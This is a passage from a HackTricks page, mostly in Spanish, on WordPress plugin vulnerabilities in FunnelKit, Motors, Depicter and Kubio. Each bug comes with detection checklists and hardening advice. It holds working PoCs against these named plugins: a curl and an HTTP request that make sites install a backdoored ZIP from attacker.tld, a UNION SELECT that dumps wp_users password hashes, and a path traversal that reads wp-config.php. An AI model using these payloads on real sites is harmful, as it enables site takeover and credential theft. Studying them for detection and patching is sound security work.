- No hay enforcement de capability; la key mintada se acepta como un bypass universal
Lista de comprobación de detección
- Buscar en el código del plugin register_rest_route(…, [ ‘permission_callback’ => ‘__return_true’ ])
- Cualquier ruta que emita tokens/keys basados en una identidad suministrada en la petición (nombre de usuario/correo electrónico) sin vincularla a un usuario autenticado o a una capability
- Buscar rutas posteriores que acepten el token/key generado sin comprobaciones de capability en el servidor
Endurecimiento
- Para cualquier ruta REST privilegiada: requerir permission_callback que haga cumplir current_user_can() para la capability requerida
- No generar long-lived keys a partir de identidad suministrada por el cliente; si es necesario, emitir tokens de corta duración vinculados al usuario tras autenticación y volver a comprobar las capabilities al usarlos
- Validar el contexto de usuario del llamante (wp_set_current_user no es suficiente por sí solo) y rechazar solicitudes donde !is_user_logged_in() || !current_user_can(
)
Uso indebido del gate de Nonce → instalación arbitraria de plugins sin autenticación (FunnelKit Automations ≤ 3.5.3)
Los Nonces previenen CSRF, no la autorización. Si el código interpreta el paso del nonce como luz verde y luego omite comprobaciones de capability para operaciones privilegiadas (p. ej., install/activate plugins), atacantes no autenticados pueden satisfacer un requisito de nonce débil y alcanzar RCE instalando un plugin con backdoor o vulnerable.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can(‘install_plugins’|‘activate_plugins’) once nonce “passes”
- Impact: full compromise via arbitrary plugin install/activation
PoC (la forma depende del plugin; solo ilustrativo)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Lista de verificación de detección
- Manejadores REST/AJAX que modifican plugins/themes con solo wp_verify_nonce()/check_admin_referer() y sin comprobación de capacidades
- Cualquier ruta de código que establezca $skip_caps = true después de la validación del nonce
Endurecimiento
- Trata siempre los nonces solo como tokens CSRF; aplica las comprobaciones de capacidad independientemente del estado del nonce
- Requerir current_user_can(‘install_plugins’) y current_user_can(‘activate_plugins’) antes de llegar al código del instalador
- Rechazar accesos no autenticados; evitar exponer nopriv AJAX actions para flujos privilegiados
Subscriber+ AJAX plugin installer → forced malicious activation (Motors Theme ≤ 5.6.81)
Patchstack’s analysis mostró cómo el tema Motors incluye un helper AJAX autenticado para instalar su plugin complementario:
add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');
function mvl_theme_install_base() {
check_ajax_referer('mvl_theme_install_base', 'nonce');
$plugin_url = sanitize_text_field($_GET['plugin']);
$plugin_slug = 'motors-car-dealership-classified-listings';
$upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
$upgrader->install($plugin_url);
mvl_theme_activate_plugin($plugin_slug);
}
- Solo se llama a
check_ajax_referer(); no haycurrent_user_can('install_plugins')nicurrent_user_can('activate_plugins'). - El nonce está embebido en la página de administración de Motors, por lo que cualquier Subscriber que pueda abrir
/wp-admin/puede copiarlo desde el HTML/JS. - El manejador confía en el parámetro
plugincontrolado por el atacante (leído de$_GET) y lo pasa aPlugin_Upgrader::install(), por lo que se descarga un ZIP remoto arbitrario enwp-content/plugins/. - Tras la instalación, el tema llama incondicionalmente a
mvl_theme_activate_plugin(), garantizando la ejecución del código PHP del plugin atacante.
Flujo de explotación
- Registrar/comprometer una cuenta de bajo privilegios (Subscriber es suficiente) y obtener el nonce
mvl_theme_install_basedesde la UI del dashboard de Motors. - Crear un ZIP de plugin cuyo directorio de nivel superior coincida con el slug esperado
motors-car-dealership-classified-listings/e insertar un backdoor o webshell en los puntos de entrada*.php. - Hospedar el ZIP y activar el instalador apuntando el manejador a tu URL:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Cookie: wordpress_logged_in_=...
Content-Type: application/x-www-form-urlencoded
action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip
Debido a que el manejador lee $_GET['plugin'], la misma payload también puede enviarse vía la query string.
Lista de comprobación de detección
- Buscar en themes/plugins instancias de
Plugin_Upgrader,Theme_Upgrader, o helpersinstall_plugin.phppersonalizados conectados a hookswp_ajax_*sin comprobaciones de capabilities. - Inspeccionar cualquier manejador que reciba un parámetro
plugin,package,source, ourly lo pase a las APIs del upgrader, especialmente cuando el slug está hard-coded pero los contenidos del ZIP no se validan. - Revisar las páginas de admin que exponen nonces para acciones del instalador—si los Subscribers pueden cargar la página, assume the nonce leaks.
Endurecimiento
- Gate installer AJAX callbacks con
current_user_can('install_plugins')ycurrent_user_can('activate_plugins')después de la verificación del nonce; Motors 5.6.82 introdujo esta comprobación para parchear el bug. - Rechazar URLs no confiables: limitar los instaladores a ZIPs incluidos o repositorios de confianza, o aplicar manifiestos de descarga firmados.
- Trata los nonces estrictamente como CSRF tokens; no proporcionan autorización y nunca deberían sustituir las comprobaciones de capabilities.
Unauthenticated SQLi via s (search) parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
Múltiples acciones depicter-* consumían el parámetro s (search) y lo concatenaban en consultas SQL sin parametrización.
- Parámetro: s (search)
- Fallo: concatenación directa de cadenas en cláusulas WHERE/LIKE; sin sentencias preparadas/saneamiento
- Impacto: exfiltración de la base de datos (users, hashes), movimiento lateral
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
Detection checklist
- Grep for depicter-* action handlers and el uso directo de $_GET[‘s’] or $_POST[‘s’] en SQL
- Revisar consultas personalizadas pasadas a $wpdb->get_results()/query() que concatenen s
Hardening
- Siempre usar $wpdb->prepare() or wpdb placeholders; rechazar metacaracteres inesperados del lado del servidor
- Añadir una lista estricta de permitidos para s y normalizar al conjunto de caracteres/longitud esperados
Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
Aceptar rutas controladas por el atacante en un parámetro de template sin normalización/contención permite leer archivos locales arbitrarios, y a veces ejecución de código si se incluyen en tiempo de ejecución archivos PHP/log que sean includable.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: no normalization/allowlisting; traversal permitted
- Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP)
PoC – read wp-config.php
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
Lista de verificación de detección
- Cualquier handler que concatene rutas de solicitud en sinks include()/require()/read sin confinamiento mediante realpath()
- Buscar patrones de traversal (../) que lleguen fuera del directorio de templates previsto
Endurecimiento
- Aplicar plantillas permitidas; resolver con realpath() y requerir str_starts_with(realpath(file), realpath(allowed_base))
- Normalizar la entrada; rechazar secuencias de traversal y rutas absolutas; usar sanitize_file_name() solo para nombres de archivo (no rutas completas)
Referencias
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)
- FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)
- Critical Arbitrary File Upload Vulnerability in Motors Theme Affecting 20k+ Sites
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

